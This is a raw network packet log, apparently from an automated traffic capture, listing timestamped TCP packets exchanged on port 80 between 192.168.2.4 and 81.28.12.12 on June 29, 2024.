Jun 29, 2024 08:05:15.275835991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275846958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275852919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275873899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275892973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275896072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275993109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343470097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343564987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343652010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343662024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343672037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343683004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343693972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343703985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343713999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343714952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343725920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343734980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343740940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343740940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343748093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343760967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343808889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343808889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.343847036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343856096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.343862057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.345350981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.346581936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346632957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346642971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346689939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346699953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346710920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.346721888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.346755028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.346755028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.346890926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347075939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.347888947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347898006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347903013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347976923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347986937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.347996950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.348007917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.348037958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.348092079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.348107100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.348118067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.348318100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360605955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360616922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360625982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360678911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360690117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360701084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360706091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360706091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360748053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360748053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360799074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360814095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360822916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360832930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360833883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360853910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360955954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360959053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.360966921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360976934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.360986948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361012936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361043930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361043930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361069918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361078024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361135960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361136913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361157894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361167908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361177921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361208916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361270905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.361279011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361294031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361305952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.361366034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362140894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362170935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362185001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362199068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362273932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362284899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362296104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362304926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362339020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362400055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362400055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362410069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362421036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362473965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362574100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362584114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362590075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362612009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362621069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362631083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362643003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362643957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362643957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362694025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362694979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362827063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362837076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362847090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362857103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362867117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362875938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362884045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362884045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362885952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.362946987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.362946987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.363049030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.363059044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.363070011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.363079071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.363231897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.363305092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.363363981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364105940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364162922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364171982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364181995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364192963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364238977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364238977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364264965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364274979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364308119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364317894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364342928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364373922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364377022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364387989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364521027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364530087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364540100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364548922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364553928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364583015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364609957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364640951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364641905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364650965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364700079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364700079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364721060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364729881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364775896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364775896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364793062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364804029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364864111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364865065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364873886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.364943027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.364995956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365010977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365073919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365092993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365125895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365135908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365154982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365221024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365225077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365236044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365287066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365298033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365308046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365349054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365431070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365441084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365442038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365452051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365463972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365474939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.365499973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365499973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.365704060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433015108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433033943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433044910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433083057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433166027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433177948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433190107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433201075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433209896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433221102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433228970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433255911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433336020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433346033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433355093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433366060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433367968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433397055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433516979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433527946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.433552027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.433634996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.436340094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436383963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436393976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436431885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.436444044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436477900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.436503887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436516047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436526060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.436537027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.436588049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.436588049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.437500954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437551022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437560081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437586069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.437609911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437622070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437629938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437644958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.437676907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.437676907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.437701941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437711000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.437819004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450423002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450433016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450443029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450459003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450469017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450479031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450484037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450498104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450526953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450558901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450558901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450571060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450582027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450592041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450599909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450611115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450618982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450625896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450627089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450628996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450639009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450669050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450783014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450810909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450820923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450830936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450840950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.450870991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.450992107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.451864004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.451874018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.451884031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.451891899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452017069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452080965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452120066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452130079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452142954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452292919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452303886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452305079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452315092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452326059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452384949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452385902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452405930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452414989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452424049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452434063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452441931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452457905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452505112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452533960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452716112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452727079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452737093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452801943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452802896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452837944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452847958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452857018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452871084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.452913046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.452944040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453126907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453135967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453164101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453180075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453186989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453190088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453201056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453206062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453212023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453222036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453231096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.453248978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453248978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453279972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453279972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.453969955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454026937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454027891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454037905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454088926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454088926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454204082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454212904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454222918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454231977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454261065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454289913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454299927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.454317093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.454345942 CEST	49731	80	192.168.2.4	81.28.12.12
